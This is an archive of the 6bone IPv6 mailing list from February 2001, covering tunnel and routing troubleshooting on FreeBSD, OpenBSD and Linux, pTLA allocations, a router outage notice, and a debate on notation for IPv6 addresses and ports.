<DIV><FONT face=3DArial size=3D2>Hi, everyone:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;My router is FreeBSD4.2, =
and my OS is=20
Win2k. I can ping6 <A href=3D"www.6bone.net">www.6bone.net</A> from my =
router, and=20
ping6 my router</FONT><FONT face=3DArial size=3D2> from my computer; but =
I cann't=20
ping6 <A href=3D"http://www.6bone.net">www.6bone.net</A> from my =
computer. What's=20
wrong with them?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; I look into my messages in =
FreeBSD, I found=20
the following information:(tail /var/log/messages)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Feb&nbsp; 8 11:20:24 Aria rtadvd[283]:=20
&lt;ra_output&gt; sendmsg on gif2: Network is down<BR>Feb&nbsp; 8 =
11:22:00 Aria=20
rtadvd[283]: &lt;ra_output&gt; sendmsg on gif1: Network is =
down<BR>Feb&nbsp; 8=20
11:25:13 Aria rtadvd[283]: &lt;ra_output&gt; sendmsg on gif3: Network is =

down<BR>Feb&nbsp; 8 11:28:31 Aria rtadvd[283]: &lt;ra_output&gt; sendmsg =
on=20
gif2: Network is down<BR>Feb&nbsp; 8 11:30:38 Aria rtadvd[283]:=20
&lt;ra_output&gt; sendmsg on gif1: Network is down<BR>Feb&nbsp; 8 =
11:34:40 Aria=20
rtadvd[283]: &lt;ra_output&gt; sendmsg on gif3: Network is =
down<BR>Feb&nbsp; 8=20
11:35:40 Aria rtadvd[283]: &lt;ra_output&gt; sendmsg on gif2: Network is =

down<BR>Feb&nbsp; 8 11:36:13 Aria rtadvd[283]: &lt;ra_output&gt; sendmsg =
on=20
gif1: Network is down</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Anyone know what occur these fault? How =
should I=20
deal with them ?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp; Thank you =
!</FONT></DIV></BODY></HTML>

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From 6bone-owner  Wed Feb  7 21:58:07 2001
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To: "oyk" <oycavalry@china.com>
cc: 6bone@ISI.EDU
In-reply-to: oycavalry's message of Thu, 08 Feb 2001 11:56:25 +0800.
      <002101c09183$2b038c50$b501010a@cavalry>
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Subject: Re: What's wrong with my freebsd?
From: itojun@iijlab.net
Date: Thu, 08 Feb 2001 14:57:58 +0900
Message-ID: <13367.981611878@coconut.itojun.org>
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>from my router, and ping6 my router from my computer; but I cann't ping6 =
>www.6bone.net from my computer. What's wrong with them?
>  I look into my messages in FreeBSD, I found the following =
>information:(tail /var/log/messages)

	when you start rtadvd, please explicitly specify your outgoing
	interfaces.  /etc/rc* can play badly.
	# rtadvd foo0

itojun

From 6bone-owner  Wed Feb  7 23:51:37 2001
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From: "oyk" <oycavalry@china.com>
To: <6bone@ISI.EDU>
Subject: Re: What's wrong with my freebsd?
Date: Thu, 8 Feb 2001 15:54:57 +0800
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>if freebsd is like openbsd, you have to set a sysctl for ipv6 =
>forwarding..
Yes, I had done it, but nothing.

>
>when you start rtadvd, please explicitly specify your >outgoing
>interfaces.  /etc/rc* can play badly.
># rtadvd foo0
>
>itojun
I connect 6bone( in china ) through a tunnel, before a few days, I can =
connect 6bone from my computer;
But now it doesn't work.
I have seen the man of rtadvd, and Do it according them. But nothing.
My outgoing interfaces is de0
#killall rtadvd
#rtadvd de0
......
my computer still doesn't connect 6bone.



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<DIV><FONT face=3DArial size=3D2>&gt;if freebsd is like openbsd, you =
have to set a=20
sysctl for ipv6 &gt;forwarding..</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Yes, I had done it, but =
nothing.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&gt;</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&gt;when you start rtadvd, please =
explicitly=20
specify your &gt;outgoing<BR>&gt;interfaces.&nbsp; /etc/rc* can play=20
badly.<BR>&gt;# rtadvd foo0<BR>&gt;<BR>&gt;itojun<BR>I connect 6bone( in =
china )=20
through a tunnel, before a few days, I can connect 6bone from my=20
computer;</FONT></DIV>
<DIV><FONT size=3D2><FONT face=3DArial>But now it doesn't =
work.</FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT face=3DArial>I have seen the man of rtadvd, =
and Do it=20
according them. But nothing.</FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT face=3DArial>My outgoing interfaces is=20
de0</FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT face=3DArial>#killall =
rtadvd</FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT face=3DArial>#rtadvd de0</FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT face=3DArial>......</FONT></FONT></DIV>
<DIV><FONT size=3D2><FONT face=3DArial>my computer still doesn't connect =

6bone.<BR><BR></DIV></FONT></FONT></BODY></HTML>

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From 6bone-owner  Thu Feb  8 01:24:45 2001
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To: "oyk" <oycavalry@china.com>
cc: 6bone@ISI.EDU
In-reply-to: oycavalry's message of Thu, 08 Feb 2001 15:54:57 +0800.
      <01ab01c091a4$7d637cf0$b501010a@cavalry>
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Subject: Re: What's wrong with my freebsd?
From: itojun@iijlab.net
Date: Thu, 08 Feb 2001 18:24:36 +0900
Message-ID: <16127.981624276@coconut.itojun.org>
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>I connect 6bone( in china ) through a tunnel, before a few days, I can =
>connect 6bone from my computer;
>But now it doesn't work.
>I have seen the man of rtadvd, and Do it according them. But nothing.
>My outgoing interfaces is de0
>#killall rtadvd
>#rtadvd de0
>......
>my computer still doesn't connect 6bone.

	the reachability issue has nothing to do with rtadvd.  you need
	proper routing setups.

	please send the following results:
	- ifconfig -a
	- netstat -rn
	- ndp -n -a
	and tiny (ascii) diagram of your network configuration.

itojun

From 6bone-owner  Thu Feb  8 01:27:39 2001
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Subject: Re: What's wrong with my freebsd?
From: itojun@iijlab.net
Date: Thu, 08 Feb 2001 18:27:27 +0900
Message-ID: <16225.981624447@coconut.itojun.org>
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>>I connect 6bone( in china ) through a tunnel, before a few days, I can =
>>connect 6bone from my computer;
>>But now it doesn't work.
>>I have seen the man of rtadvd, and Do it according them. But nothing.
>>My outgoing interfaces is de0
>>#killall rtadvd
>>#rtadvd de0
>>......
>>my computer still doesn't connect 6bone.
>	the reachability issue has nothing to do with rtadvd.  you need
>	proper routing setups.

	http://www.netbsd.org/Documentation/network/ipv6/
	should help you (though it is for NetBSD, most of the items should
	apply to freebsd).

itojun

From 6bone-owner  Thu Feb  8 08:43:16 2001
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Date: Thu, 08 Feb 2001 10:42:49 -0600
From: Joseph E Eggleston <Joe_Eggleston-CJE136@email.mot.com>
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Hi all,
Does anyone know of any work that talks about efficient techniques for
routers to do tunneling/de-tunneling. Or how much of a performance hit
it is to do tunneling (other than the bandwidth overhead from the extra
header).

thanks,
Joe

From 6bone-owner  Fri Feb  9 01:15:13 2001
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Date: Fri, 9 Feb 2001 10:15:02 +0100 (CET)
From: Wojtek Bojdo/l <wojboj@lp.net.pl>
To: 6bone@ISI.EDU
Subject: www interface to whois database.
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Hello
I wanted to add my ipv6-site to 6bone whois database, and I used www
interface to change it.
There I put my password to protect my records and be sure, that only
somebody with it can change my records.
But.. now I see that everyone on world can see my crypted password and try
to decrypt it.
I think that information should be protected in some way.

-- 
Wojciech Bojdol
Linux & Unix Magazine
www.magazyn.tao.com.pl


From 6bone-owner  Fri Feb  9 06:27:45 2001
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From: "NDSoftware" <extml@ndsoftware.net>
To: <6bone@ISI.EDU>
Subject: Problem...
Date: Fri, 9 Feb 2001 15:31:10 +0100
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Hi,
I have RedHat Linux 6.2 with kernel 2.2.18.
When in want build many tunnel  i have:

sit2: interface unknown: No peripheral of this type
SIOGIFINDEX: No peripheral of this type
SIOGIFINDEX: No peripheral of this type
sit3: interface unknown: No peripheral of this type
sit4: interface unknown: No peripheral of this type
SIOGIFINDEX: No peripheral of this type
SIOGIFINDEX: No peripheral of this type
sit5: interface unknown: No peripheral of this type
sit6: interface unknown: No peripheral of this type
SIOGIFINDEX: No peripheral of this type
SIOGIFINDEX: No peripheral of this type
sit7: interface unknown: No peripheral of this type
sit10: interface unknown: No peripheral of this type
SIOGIFINDEX: No peripheral of this type
SIOGIFINDEX: No peripheral of this type
sit11: interface unknown: No peripheral of this type
sit12: interface unknown: No peripheral of this type
SIOGIFINDEX: No peripheral of this type
sit13: interface unknown: No peripheral of this type
SIOGIFINDEX: No peripheral of this type

For the first tunnel sit0/sit1, it's ok !!!

In /var/log/message, i have:
Feb  9 12:08:26 ns207 modprobe: modprobe: Can't locate module sit2
Feb  9 12:08:26 ns207 last message repeated 2 times
Feb  9 12:08:26 ns207 modprobe: modprobe: Can't locate module sit3
Feb  9 12:08:26 ns207 modprobe: modprobe: Can't locate module sit4
Feb  9 12:08:26 ns207 last message repeated 2 times
Feb  9 12:08:26 ns207 modprobe: modprobe: Can't locate module sit5
Feb  9 12:08:26 ns207 modprobe: modprobe: Can't locate module sit6
Feb  9 12:08:26 ns207 last message repeated 2 times
Feb  9 12:08:26 ns207 modprobe: modprobe: Can't locate module sit7
Feb  9 12:08:26 ns207 modprobe: modprobe: Can't locate module sit10
Feb  9 12:08:26 ns207 last message repeated 2 times
Feb  9 12:08:27 ns207 modprobe: modprobe: Can't locate module sit11
Feb  9 12:08:27 ns207 modprobe: modprobe: Can't locate module sit12
Feb  9 12:08:27 ns207 modprobe: modprobe: Can't locate module sit12
Feb  9 12:08:27 ns207 modprobe: modprobe: Can't locate module sit13
Feb  9 12:08:27 ns207 modprobe: modprobe: Can't locate module sit13

All network option in the module have the option y !
I don't use module...
Thanks

Nicolas DEFFAYET, NDSoftware
http://www.ndsoftware.net - ndsoftware@ndsoftware.net
France: Tel +33 671887502 - Fax N/A
UK: Tel +44 8453348750 - Fax +44 8453348751
USA: Tel N/A - Fax N/A
---
Note: All HTML email sent to me can be deleted for security reasons.

From 6bone-owner  Fri Feb  9 06:56:01 2001
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To: Wojtek Bojdo/l <wojboj@lp.net.pl>
cc: <6bone@ISI.EDU>
Subject: Re: www interface to whois database.
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Hi,

You are correct. The whois server could probably be configured so that the
AUTH: attribute is not returned as a response to a query.

David Kessens can probably validate this ?

Florent.


On Fri, 9 Feb 2001, Wojtek Bojdo/l wrote:

>
> Hello
> I wanted to add my ipv6-site to 6bone whois database, and I used www
> interface to change it.
> There I put my password to protect my records and be sure, that only
> somebody with it can change my records.
> But.. now I see that everyone on world can see my crypted password and try
> to decrypt it.
> I think that information should be protected in some way.
>
>



From 6bone-owner  Sun Feb 11 01:59:29 2001
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Date: Sun, 11 Feb 2001 04:59:20 -0500 (EST)
From: Dan <synack@research.suspicious.org>
To: Jae.Lee@intelsat.int
cc: 6bone@ISI.EDU
Subject: cannot ping past subnet
In-Reply-To: <490B4C213EC8D211851F00105A29CA5A07A1F99C@admex1.adm.intelsat.int>
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I am currently using ipv6 address 3ffe:b00:c18:1fff::6a5 setup on OpenBSD.
I can ping6 all ipv6 addys in my range of 3ffe:b00:c18:1fff::XXX -
e.g. www.6bone.net and www.normos.org. However if I try to ping6 any
addresses outside my range then I resolves the name to the ipv6 address
and send the ping but it is never returned. I am unable to connect to any
addresses outside my subnets. Any1 else have this prob??

- Synack


From 6bone-owner  Sun Feb 11 11:46:25 2001
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From: Feico Dillema <feico@pasta.cs.uit.no>
To: Dan <synack@research.suspicious.org>
Cc: Jae.Lee@intelsat.int, 6bone@ISI.EDU
Subject: Re: cannot ping past subnet
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On Sun, Feb 11, 2001 at 04:59:20AM -0500, Dan wrote:
> I am currently using ipv6 address 3ffe:b00:c18:1fff::6a5 setup on OpenBSD.
> I can ping6 all ipv6 addys in my range of 3ffe:b00:c18:1fff::XXX -
> e.g. www.6bone.net and www.normos.org. However if I try to ping6 any
> addresses outside my range then I resolves the name to the ipv6 address
> and send the ping but it is never returned. I am unable to connect to any
> addresses outside my subnets. Any1 else have this prob??

Does ping6 -v show you any replies on the wire or any other ICMP6
messages that tell you what's up?

Feico.

From 6bone-owner  Sun Feb 11 12:20:40 2001
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From: "Pat Jensen" <patjensen@mediaone.net>
To: "'Dan'" <synack@research.suspicious.org>, <Jae.Lee@intelsat.int>
Cc: <6bone@ISI.EDU>
Subject: RE: cannot ping past subnet
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You failed to mention whether you have a default gateway configured or what
routing protocols you
are using.  Type netstat -A inet6 -rn and look for a default route (the
default destination for
your packets)  If you are using a routing daemon like RIPv6, make sure the
daemon is running.

Also, it could be possible that your prefix is configured incorrectly on
your Ethernet/tunnel IF.
If you need more help, I'd suggest sending your netstart/rc.conf/ipv6 rc
files so that we can look
at your configuration.

Pat

-----Original Message-----
From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of Dan
Sent: Sunday, February 11, 2001 1:59 AM
To: Jae.Lee@intelsat.int
Cc: 6bone@ISI.EDU
Subject: cannot ping past subnet


I am currently using ipv6 address 3ffe:b00:c18:1fff::6a5 setup on OpenBSD.
I can ping6 all ipv6 addys in my range of 3ffe:b00:c18:1fff::XXX -
e.g. www.6bone.net and www.normos.org. However if I try to ping6 any
addresses outside my range then I resolves the name to the ipv6 address
and send the ping but it is never returned. I am unable to connect to any
addresses outside my subnets. Any1 else have this prob??

- Synack


From 6bone-owner  Mon Feb 12 05:17:56 2001
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Date: Sun, 11 Feb 2001 04:59:20 -0500 (EST)
From: Dan <synack@research.suspicious.org>
To: Jae.Lee@intelsat.int
cc: 6bone@ISI.EDU
Subject: cannot ping past subnet
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I am currently using ipv6 address 3ffe:b00:c18:1fff::6a5 setup on OpenBSD.
I can ping6 all ipv6 addys in my range of 3ffe:b00:c18:1fff::XXX -
e.g. www.6bone.net and www.normos.org. However if I try to ping6 any
addresses outside my range then I resolves the name to the ipv6 address
and send the ping but it is never returned. I am unable to connect to any
addresses outside my subnets. Any1 else have this prob??

- Synack


From 6bone-owner  Mon Feb 12 09:03:29 2001
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Date: Mon, 12 Feb 2001 18:03:12 +0100
From: Feico Dillema <feico@pasta.cs.uit.no>
To: Dan <synack@research.suspicious.org>
Cc: Jae.Lee@intelsat.int, 6bone@ISI.EDU
Subject: Re: cannot ping past subnet
Message-ID: <20010212180312.K472@pasta.cs.uit.no>
References: <490B4C213EC8D211851F00105A29CA5A07A1F99C@admex1.adm.intelsat.int> <Pine.BSO.4.21.0102110455170.27270-100000@research.suspicious.org>
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On Sun, Feb 11, 2001 at 04:59:20AM -0500, Dan wrote:
> I am currently using ipv6 address 3ffe:b00:c18:1fff::6a5 setup on OpenBSD.
> I can ping6 all ipv6 addys in my range of 3ffe:b00:c18:1fff::XXX -
> e.g. www.6bone.net and www.normos.org. 
Are those really the addresses you ping? If ping them I got somewhat
different addresses, e.g.:


# ping6 www.6bone.net
PING6(56=40+8+8 bytes) 3ffe:2a00:100:3001::2 --> 3ffe:b00:c18:1::10
16 bytes from 3ffe:b00:c18:1::10, icmp_seq=0 hlim=58 time=278.473 ms 3ffe:b00:c18:1::10

and what is your own address? Do you autoconfigure (use rtsol?) or do
you manually configure your address?

> However if I try to ping6 any
> addresses outside my range then I resolves the name to the ipv6 address
> and send the ping but it is never returned. I am unable to connect to any
> addresses outside my subnets. Any1 else have this prob??

what does your routing table look like? show us netstat -rn

Feico.

From 6bone-owner  Mon Feb 12 11:25:16 2001
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Date: Mon, 12 Feb 2001 14:25:03 -0500 (EST)
From: Andrew Hobgood <chaos@strange.net>
To: Dan <synack@research.suspicious.org>
Cc: <Jae.Lee@intelsat.int>, <6bone@ISI.EDU>
Subject: Re: cannot ping past subnet
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> I am currently using ipv6 address 3ffe:b00:c18:1fff::6a5 setup on OpenBSD.
> I can ping6 all ipv6 addys in my range of 3ffe:b00:c18:1fff::XXX -
> e.g. www.6bone.net and www.normos.org. However if I try to ping6 any
> addresses outside my range then I resolves the name to the ipv6 address
> and send the ping but it is never returned. I am unable to connect to any
> addresses outside my subnets. Any1 else have this prob??

most other folks seem using freenet6 (myself included) seem to be having the
same problem.  I'm on NetBSD/KAME, and it appears that my routes are all
configured properly.  I've included my routing tables below if, for some
reason, my routes *are* indeed messed up.  As far as I can tell, however,
Viagenie is just having reachability issues right now.

millennium hand and shrimp,

/Andrew

===========

gif0: flags=8011<UP,POINTOPOINT,MULTICAST> mtu 1280
	tunnel inet 24.131.87.155 --> 206.123.31.102
	inet6 fe80::210:4bff:fe8c:8ebe%gif0 -> :: prefixlen 64 scopeid 0xb
	inet6 3ffe:b00:c18:1fff::75b -> 3ffe:b00:c18:1fff::75a prefixlen 128

Internet6:
Destination      Gateway            Flags
default          ::1                UG
default          ::1                UG
default          3ffe:b00:c18:1fff::75b UG
::1              ::1                UH
::127.0.0.0      ::1                UG
::224.0.0.0      ::1                UG
::255.0.0.0      ::1                UG
::ffff:0.0.0.0   ::1                UG
2002::           ::1                UG
2002:7f00::      ::1                UG
2002:e000::      ::1                UG
2002:ff00::      ::1                UG
3ffe:b00:c18:1fff::75a 3ffe:b00:c18:1fff::75b UH
3ffe:b00:c18:1fff::75b ::1                UH
fe80::           ::1                UG
fe80::%ex0       link#1             U
fe80::%lo0       fe80::1%lo0        U
fe80::%gif0      link#11            U
fe80::210:4bff:fe8c:8ebe%gif0 ::1                UH
fe80::%gif1      link#12            U
fe80::210:4bff:fe8c:8ebe%gif1 ::1                UH
fec0::           ::1                UG
ff01::           ::1                U
ff02::%ex0       link#1             U
ff02::%lo0       fe80::1%lo0        U
ff02::%gif0      link#11            U
ff02::%gif1      link#12            U


From 6bone-owner  Mon Feb 12 15:36:50 2001
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To: Feico Dillema <feico@pasta.cs.uit.no>
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In-reply-to: feico's message of Mon, 12 Feb 2001 18:03:12 +0100.
      <20010212180312.K472@pasta.cs.uit.no>
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Subject: Re: cannot ping past subnet
From: itojun@iijlab.net
Date: Tue, 13 Feb 2001 08:36:15 +0900
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>> I am currently using ipv6 address 3ffe:b00:c18:1fff::6a5 setup on OpenBSD.
>> I can ping6 all ipv6 addys in my range of 3ffe:b00:c18:1fff::XXX -
>> e.g. www.6bone.net and www.normos.org. 

	i have tried to ping your address from outside of viagenie/freenet6,
	however it was not reachable.

itojun

From 6bone-owner  Mon Feb 12 19:40:58 2001
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Date: Mon, 12 Feb 2001 22:40:47 -0500 (EST)
From: Dan <synack@research.suspicious.org>
To: 6bone@ISI.EDU
Subject: Thanx for the help.
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Thanks for all of your replies but my situation has been resolved. Im
still on the 6bone, but I am no longer affiliated with freenet6.

-Dan 


From 6bone-owner  Tue Feb 13 07:16:34 2001
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From: Bauer Kurt <KBauer@ait.at>
To: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
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Subject: New 6Bone participant - AIT from Austria
Date: Tue, 13 Feb 2001 16:14:32 +0100
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Hi 6Bone community,

I just wanted to let you know, that our little IPv6-test-environment is now
reachable.
We are announcing AS15737, Prefix 3ffe:8034:60/48.
Feel free to visit http://www.v6.ait.at (well, not much content there, right
now ;-))  )

I want to thank the guys at Aconet, Harald Michl and Wilfried Woeber, for
letting us
using a part of there address-space and setting up a tunnel.

BTW a question, does it really take 3 months till I get my own pTLA ?? Isn't
there a quicker way ??
I'm quite expirienced with IPv6, as I did a project at Aconet (QTPv6) and
wrote my thesis on IPv6.

mit besten Grüssen / best regards

Dipl.Ing. (FH) Kurt Bauer 
CVS Chief Engineer 

----------------------------------------------------------------------------
-------------
AIT - EDV Dienstleistungen GmbH, Slamastrasse 29, A-1230 Wien
fon: +431-24500-0, fax: +431-24500-1090, KB6695-RIPE
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From 6bone-owner  Tue Feb 13 10:38:49 2001
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Date: Tue, 13 Feb 2001 10:36:38 -0800
To: Bauer Kurt <KBauer@ait.at>
From: Bob Fink <fink@es.net>
Subject: Re: New 6Bone participant - AIT from Austria
Cc: 6BONE List <6bone@ISI.EDU>
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Kurt,

At 04:14 PM 2/13/2001 +0100, Bauer Kurt wrote:
>Hi 6Bone community,
>
>I just wanted to let you know, that our little IPv6-test-environment is now
>reachable.
>We are announcing AS15737, Prefix 3ffe:8034:60/48.
>Feel free to visit http://www.v6.ait.at (well, not much content there, right
>now ;-))  )
>
>I want to thank the guys at Aconet, Harald Michl and Wilfried Woeber, for
>letting us
>using a part of there address-space and setting up a tunnel.
>
>BTW a question, does it really take 3 months till I get my own pTLA ?? Isn't
>there a quicker way ??
>I'm quite expirienced with IPv6, as I did a project at Aconet (QTPv6) and
>wrote my thesis on IPv6.

The rules are pretty fixed these days... see:

<http://www.6bone.net/6bone_pTLA_rqst.html>

Assuming your experience is ok (but I do have to honor the 3 mos.), the 
most important requirement then is 3:

>3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.



Bob


From 6bone-owner  Wed Feb 14 07:23:55 2001
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Date: Wed, 14 Feb 2001 07:23:22 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:8160::/28 allocated to LAVANET
Cc: Bill Manning <bmanning@ISI.EDU>, Antonio Querubin <tony@lava.net>
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LAVANET has been allocated pTLA 3FFE:8160::/28 having finished its 2-week 
review period with no negative comments.

<http://whois.6bone.net/cgi-bin/whois?lavanet>


Note that it will take a short while for their inet6num entry to appear in 
the 6bone registry as they have to create it themselves. However, their 
registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>


Thanks,

Bob


From 6bone-owner  Wed Feb 14 14:56:08 2001
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Date: Wed, 14 Feb 2001 17:55:51 -0500 (EST)
From: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>
Reply-To: wmaton@ryouko.dgim.crc.ca
To: 6bone@ISI.EDU
Subject: denoting IPv6 addresses and ports
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Greetings

	I read RFC 2732 on denoting IPv6 addresses for URL's, but I have a
question for the general case.  Is there a standard method for writing
down, on a piece of papaer, or a document or some other such thing the
format of an IPv6 address and a port number?  For example, I want to write
down the shorthand for, "IPv6 address 3ffe:456:45e::34, port number 23."
Do I write it like the examples in the RFC such that this:

      http://[FEDC:BA98:7654:3210:FEDC:BA98:7654:3210]:80/index.html
      http://[1080:0:0:0:8:800:200C:417A]/index.html

expresses an IPv6 literal for a URL, while writting this:

	 [3ffe:456:45e::34]:23

would be clear to someone as meaning the telnet port at address 
3ffe:456:45e::34?

I'm not necessarily talking about how API's would interpret this, but how
a human would interpret this on a napkin, for example.

In short, what's the general case of RFC 2732?

Sorry if this is a FAQ, couldn't find anything concrete while scanning
through the archives.

TIA,

wfms




From 6bone-owner  Wed Feb 14 19:21:44 2001
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Subject: Re: denoting IPv6 addresses and ports
From: itojun@iijlab.net
Date: Thu, 15 Feb 2001 09:44:37 +0900
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>expresses an IPv6 literal for a URL, while writting this:
>	 [3ffe:456:45e::34]:23
>would be clear to someone as meaning the telnet port at address 
>3ffe:456:45e::34?

	though there are uses like above in some configuration files for
	softwares, i personally don't think it too widely accepted.
	I'd write:
		3ffe:456:45e::34 port 23

itojun

From 6bone-owner  Thu Feb 15 00:55:59 2001
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From: Robert Elz <kre@munnari.OZ.AU>
To: itojun@iijlab.net, wmaton@ryouko.dgim.crc.ca
cc: 6bone@ISI.EDU
Subject: Re: denoting IPv6 addresses and ports 
In-reply-to: Your message of "Thu, 15 Feb 2001 09:44:37 +0900."
             <13534.982197877@coconut.itojun.org> 
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    Date:        Thu, 15 Feb 2001 09:44:37 +0900
    From:        itojun@iijlab.net
    Message-ID:  <13534.982197877@coconut.itojun.org>

  | 	I'd write:
  | 		3ffe:456:45e::34 port 23

Personally I'd write host.domain port 23

Literal (hex/binary) IPv6 addresses should be seen by almost
nobody (there should never have been a standard way of putting
them in URLs, that is a truly dumb idea).

If the recipient of the information (host.domain port 23) really
needs to know the (current, temporary) mapping into the IPv6
address (rather than just looking it up when used, as they should)
then you can add "and host.domain's IPv6 address this week
is: 3ffe:456:45e::34)

kre



From 6bone-owner  Thu Feb 15 04:25:25 2001
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Date: Thu, 15 Feb 2001 02:25:06 -1000 (HST)
From: Antonio Querubin <tony@lava.net>
To: Robert Elz <kre@munnari.OZ.AU>
cc: <itojun@iijlab.net>, <wmaton@ryouko.dgim.crc.ca>, <6bone@ISI.EDU>
Subject: Re: denoting IPv6 addresses and ports 
In-Reply-To: <2147.982218039@brandenburg.cs.mu.OZ.AU>
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On Thu, 15 Feb 2001, Robert Elz wrote:

> Literal (hex/binary) IPv6 addresses should be seen by almost
> nobody (there should never have been a standard way of putting
> them in URLs, that is a truly dumb idea).

I suspect there's a fair number of folks working in the tech support field
who would disagree with you.  Perhaps you don't do spend a significant
amount of time troubleshooting combined httpd/DNS problems for customers.
On a number of occasions I've had a need to explicitly specify an IP
address and/or port in a URL.  Ensuring that one can continue to do so in
an unambiguous way even with an IPv6 address only helps win acceptance of
IPv6 by reducing the annoyance level.  While this standardization might
seem dumb to you, I think it's important enough to at least some of us.


From 6bone-owner  Thu Feb 15 05:24:27 2001
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From: Robert Elz <kre@munnari.OZ.AU>
To: Antonio Querubin <tony@lava.net>
cc: itojun@iijlab.net, wmaton@ryouko.dgim.crc.ca, 6bone@ISI.EDU
Subject: Re: denoting IPv6 addresses and ports 
In-reply-to: Your message of "Thu, 15 Feb 2001 02:25:06 -1000."
             <Pine.BSI.4.30.0102150140101.7263-100000@malasada.lava.net> 
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    Date:        Thu, 15 Feb 2001 02:25:06 -1000 (HST)
    From:        Antonio Querubin <tony@lava.net>
    Message-ID:  <Pine.BSI.4.30.0102150140101.7263-100000@malasada.lava.net>

  | I suspect there's a fair number of folks working in the tech support field
  | who would disagree with you.

I understand the need - it is the solution I disagree with.   This is
just "we do it this way for IPv4, so let's also do it this way for
IPv6" mentality.

The right solution would be for the application name->address lookup
routine to be able to look up a locally defined name (like in a file)
as well as names in the DNS (essentially all implementations have this
functionality anyway).

Then, when the DNS isn't working, and you need to reach out to
the destination (as part of helping fix the problem with the DNS,
which should be the first thing to fix, but also for any other
reason), you just add the problem entry to your local file of
broken translations, and then use the name, the same way you
always would.   This works then for any and every application
under the sun, without needing to invent a hundred new ways to
imbed the IPv6 address literals in places where things like colons
were never intended to go.

It also prevents this local (if necessary sometimes) hack from ever
getting out and polluting the rest of the world - since this
temporary name/address translation only works on the system where
it has been manually added, there's no way to foist it on unsuspecting
others (which allowing an address literal to be embedded inside a URL
allows - the thing can then get parked in HTML docs all over the
planet, leading to the "we can't possibly renumber" scenario that
we have with IPv4).

kre


From 6bone-owner  Thu Feb 15 07:05:50 2001
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Date: Thu, 15 Feb 2001 07:05:33 -0800
To: itojun@iijlab.net
From: "Kurt D. Zeilenga" <Kurt@OpenLDAP.org>
Subject: Re: denoting IPv6 addresses and ports
Cc: wmaton@ryouko.dgim.crc.ca, 6bone@ISI.EDU
In-Reply-To: <13534.982197877@coconut.itojun.org>
References: <wmaton's message of Wed, 14 Feb 2001 17:55:51 EST. <Pine.GSO.3.96LJ1.1b7.1010214173808.27880E-100000@ryouko.dgim.crc.ca>
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At 09:44 AM 2/15/01 +0900, itojun@iijlab.net wrote:
>>expresses an IPv6 literal for a URL, while writting this:
>>       [3ffe:456:45e::34]:23
>>would be clear to someone as meaning the telnet port at address 
>>3ffe:456:45e::34?
>
>        though there are uses like above in some configuration files for
>        softwares,

and application protocol APIs.

>i personally don't think it too widely accepted.

I disagree.  Whatever is used in URIs (and APIs derived from URI
syntaxes) will likely become widely accepted.

>        I'd write:
>                3ffe:456:45e::34 port 23

I'm sure I've written IPv6 addresses with (or without optional
:port) in the form [3ffe:456:45e::34]:23 on napkins...

Kurt



From 6bone-owner  Thu Feb 15 08:58:44 2001
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Date: Thu, 15 Feb 2001 11:58:34 -0500 (EST)
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Today, Sprint's 6bone router in Northern Virginia (sl-bb1-6bone) crashed,
and came up without config.  We are presently working to 

1. move to this to a better router platform
2. convert config to new platform.

Expect outage until around 5:00 EST.   Sorry for the inconvenience. The
outcome of this should result in faster service to all Sprint customers.
Sorry that it takes a lot of unexpected down-time to get to this.  Working
with relevant vendor(s) to isolate root cause of this crash. 

Thanks
Rob Rockell
Sprint Internet Services
Principal Engineer
SprintLink Europe/Asia
703-689-6322
-----------------------------------------------------------------------


From 6bone-owner  Thu Feb 15 09:50:45 2001
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200102151749.f1FHnRG28741@zed.isi.edu>
Subject: Re: denoting IPv6 addresses and ports
To: tony@lava.net (Antonio Querubin)
Date: Thu, 15 Feb 2001 09:49:27 -0800 (PST)
Cc: kre@munnari.OZ.AU (Robert Elz), itojun@iijlab.net,
        wmaton@ryouko.dgim.crc.ca, 6bone@ISI.EDU
In-Reply-To: <Pine.BSI.4.30.0102150140101.7263-100000@malasada.lava.net> from "Antonio Querubin" at Feb 15, 2001 02:25:06 AM
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% 
% On Thu, 15 Feb 2001, Robert Elz wrote:
% 
% > Literal (hex/binary) IPv6 addresses should be seen by almost
% > nobody (there should never have been a standard way of putting
% > them in URLs, that is a truly dumb idea).
% 
% I suspect there's a fair number of folks working in the tech support field
% who would disagree with you.  Perhaps you don't do spend a significant
% amount of time troubleshooting combined httpd/DNS problems for customers.
% On a number of occasions I've had a need to explicitly specify an IP
% address and/or port in a URL.  Ensuring that one can continue to do so in
% an unambiguous way even with an IPv6 address only helps win acceptance of
% IPv6 by reducing the annoyance level.  While this standardization might
% seem dumb to you, I think it's important enough to at least some of us.

Actually, I beleive that many folks in the tech support field would
agree w/ Robert that "tech support" == "nobody"
Robert has been plinking w/ DNS for far too many years to be naive on this
subject. I understand the human factors considerations and would to 
"deity" that we could abandon address literals from the lexicon of the
common UI.  Under the covers, they have to exist and periodically either
agents or people will have to muck w/ them.  For the good folks that
think IPv6 address literals are "difficult", you may wish to review the
next thing over the horizon...  BitString lables.  Mix Bitstrings with
DNAMES to build a composite IPv6 literal and then come back and tell me
that this is something you want my mother to use... Double dog dare you.

-- 
--bill

